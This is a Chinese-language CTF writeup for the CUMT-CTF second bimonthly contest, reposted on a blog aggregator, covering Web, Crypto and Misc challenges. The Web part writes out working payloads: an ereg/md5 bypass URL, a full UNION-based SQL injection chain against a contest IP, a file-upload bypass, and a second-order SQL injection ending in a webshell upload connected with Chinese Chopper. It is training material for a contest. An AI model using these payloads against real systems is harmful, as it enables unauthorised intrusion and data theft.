我是靠谱客的博主 开心唇膏,最近开发中收集的这篇文章主要介绍CUMT-CTF第二次双月赛Writeup前言正文,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言

毕竟是萌新,能有校赛打已经很开心了,感谢Source大佬的带飞,下面放上本次双月赛的部分题解;

正文

Web

签到题

是个easy的绕过,给出源码:

<?php
$white_list = range(0,9);
require_once('flag.php');
if(isset($_REQUEST['0ver']) && isset($_REQUEST['0ver1']) && isset($_REQUEST['0ver2'])){
$a = $_REQUEST['0ver'];
$b = $_REQUEST['0ver1'];
$c = $_REQUEST['0ver2'];
if(@ereg("^[0-9]+$", $a) === FALSE){
echo 'no must be number';
}else{
if(in_array($a,$white_list)){
if(strlen($a)>1){
if(md5($c) === md5($b) && ($b !== $c)){
echo "<img src='dark.png'><br>";
echo 'you are a great dark phper<br>';
echo $flag;
}
else{
echo "you can do it!!!";
}
}else{
echo 'you no dark';
}
}else{
echo 'you are so dark';
}
}
}else
highlight_file(__FILE__);

考察ereg()md5()的绕过姿势,00截断绕过ereg,上传数组绕过md5,即可得到flag如下:

kmrqk8.png

payload:http://202.119.201.199:32790/index.php?0ver=5%00a&0ver1[]=a&0ver2[]=b

SimpleUpload

是个前端验证,只允许上传图片,不允许上传php为后缀的文件,只需要bp截取改后缀名即可;

kmy3xf.md.png

小型线上赌场

一开始没有思路,毕竟是萌新还没有了解到CTF的很多姿势,请教新城瑞雪大佬得知是vim文件泄露,在vim编辑的时候没有正常退出,系统就会自动生成一个swp文件用来日后的恢复;直接down下来,vim打开得源码:

<?php
$invest = $_GET['invest'];
$rand = rand(2,50);
$len = strlen(trim($_GET['invest']));
foreach ($_GET as $key => $value) {
if(!is_numeric($value)||$value == '0'){
die('no no no!');
}
}
$money = number_format($invest*$rand);
$money = intval(str_replace(',','',$money));
$guess = intval($_GET['guess']);
if ($guess == $money && strlen($money)===$len){
echo $flag;
}

看懂源码意思即可,生成2~50的随机数randmoney$invest*$rand;如果$money==$guess就回显flag,即invest*倍数==guess即可,那我们可以直接直接bp爆破,猜一个guess,固定investguess的值,多次爆破,如果次数达到一定的上限一定会出现猜对倍数的情况,这样的话就会输出flag;

bp爆破设置:

  1. 不设置变量;

    kmdro4.md.png

  2. 设置payload类型为null payloads,上限次数设置大一点为2000;

    kmdeih.md.png

  3. 随便设置一下options即可start;

结果:

升序排列length即可发现不匹配的特殊项,发现flag;

kmdfok.md.png

kmdqsi.md.png

SimpleSQLi

  1. 首先输入?id=1%27报错;
  2. 接着注释掉后面的引号?id=1%27%23,回显正常,说明猜测成功存在注入点;

kmw7v9.png

  1. 接下来就是用order by去猜列数,?id=1%27%20order%20by%203%23回显正常应该是三列没错;
  2. 下面需要用union select去回显某一列的东西,构造?id=-1%27%20union%20select%201,2,3%23;这里需要第一句话为空才能显示后面一句话的内容,选择id=-1,就可以回显2和3,后面就可以利用这两列回显想要的东西;

kmfwrr.png

  1. 爆库名:?id=-1%27%20union%20select%201,2,database()%20%23security

kmhmwd.png

  1. 爆表名,此处使用mysql里面自带的information_schema表;id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23发现flag表信息;

kmfjln.png

  1. 爆列名:id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flagishere%27%23有Id和flag两列;

kmhblq.png

  1. 爆值:?id=-1%27%20union%20select%201,2,group_concat(Id,0x3a,flag)%20from%20flagishere%23

kmh4l4.png

文件管理系统

队友Source在离别歌的blog里搜索到类似题目,了解到这题的切入点是二次注入;直接拿来payload就可以搞定这一题;

  1. 先选择文件进行上传,filename为',extension='',filename='x.jpg.jpgkm0tk0.png

  2. Rename file,注入后文件系统中文件名为xl.jpg.jpgkm02qk.png

  3. 上传真的包含webshell的文件;kmbusa.png

  4. 改名后缀为.php,连接菜刀即可;kmbrts.png

  5. flag在根目录;

    kuqufs.md.pngkuq1xv.md.png

参考链接:leavesongs的博客

Crypto

现代密码签到

一度以为是hash,因为base64decode出来是Salted__开头,真的是…被出题人虐到鼻青脸肿,和队里大佬讨论很久也不知道怎么办,还一度以为是AES,hint出来了是DES,也不知道密钥该如何解密…没想带直接找一个在线网站直接解密既可以了…密钥为空… 狂喷一口老血…km4jc4.png

km4v1g.md.png

在线解密一次以后再解一次即可得到flag:

km4buj.md.png

这就是双重DES…

古典密码签到

也是解的很暴躁的一题,基本就是大家一开始都是base32出来就不知道那是什么玩意了…

km5n2d.md.png

翻看各种大佬的博客总结古典密码都没有这种奇怪的符号…直到队友解出来的那一刻我都是懵逼的(SourceNB),放上解题脚本:

#coding:utf-8
import base64
s="LZYGQ326N5QXMYAKORNG42TABJ2FUWS2MNRWG6A="
c=base64.b32decode(s)
print c
for i in range(128):
ans=""
for x in c:
ans+=chr((ord(x)+i)%128)
if 'ctf' in ans:
print ans

在ASCII码内凯撒爆破即可:

km5oix.png

慢着…这16进制是什么鬼…大胆猜测是easy_soeasy__hhh,填入果然没错…

总的来说做这两题的心情就是可以狂扁出题人小朋友了…

km5zdi.md.png

easyrsa

这题终于不是前面两题那么让人流泪了…,n和c里只出现了12个字符猜测是12进制;

n=36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5
e=5
c=411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065

给出以下信息,e=5,猜测是低指数攻击,上解题脚本:

#coding:utf-8
import gmpy2
def twl_to_dec(twl):
ans=0
l=len(twl)
for i in range(l):
if twl[i]=='A':
temp=10
elif twl[i]=='b':
temp=11
else:
temp=int(twl[i],10)
ans+=temp*pow(12,l-i-1)
return ans
def small_msg(c,n,e):
i=0
while 1:
if(gmpy2.iroot(c+i*n, e)[1] == 1):
x = gmpy2.iroot(c+i*n, e)[0]
print hex(x)[2:].decode('hex')
break
i += 1
def main():
n="36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5"
c="411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065"
e=5
n=twl_to_dec(n)
c=twl_to_dec(c)
small_msg(c,n,e)
if __name__ == '__main__':
main()

12进制转化为 10进制以后直接进行小公钥指数攻击即可,得到flag:

km2div.png

**友情提示:**自己写的进制转换虽然丑,but肯定比网上在线转换靠谱(微笑.jpg)

Misc

Misc签到

得到盲文图片如下,直接对应盲文表解出flag内容为:BAIND,将A换为1,加上flag提交即可;

kmbhfj.png

BXS图标真好看

打开是个txt文件,查看内容发现IDHR关键字,猜测是png图片,直接改掉后缀得到一张图片;

kmdah4.png

发现flag相关内容,猜测是凯撒移位,但发现前面有8位,果断推翻猜想,继续猜测是栅栏密码,果然得到flag;

kmdvgs.png

base全家桶了解一下

nctf遇到过差不多的题,没什么难度;

解密脚本:

#coding:utf-8
import base64
s="R1kzRE1RWldHRTNET04yQ0dVM1RNTkpXSU0zREdNWlFHWkNETU5KVklZM1RJTVpRR01ZREtSUldHTTNUS05TRUc0MkRNTVpYR1EzRE1OMkU="
c=base64.b64decode(s)
print c
d=base64.b32decode(c)
print d
e=base64.b16decode(d)
print e

kmrorj.md.png

起床改error啦

唯一做到的Misc…队友Source太给力…拿到手是个png图片

kmscqa.jpg

丢进十六进制编辑器,发现猫腻,有zip文件头和flag信息;

kmsadf.png

扒下来另存为zip,解压得到flag.doc,但是里面没有flag;

kms3wv.png

提示直接告诉是doc隐写,那就显示隐藏文字即可,得到flag;

kms2sh.png

最后

以上就是开心唇膏为你收集整理的CUMT-CTF第二次双月赛Writeup前言正文的全部内容,希望文章能够帮你解决CUMT-CTF第二次双月赛Writeup前言正文所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(53)

评论列表共有 0 条评论

立即
投稿
返回
顶部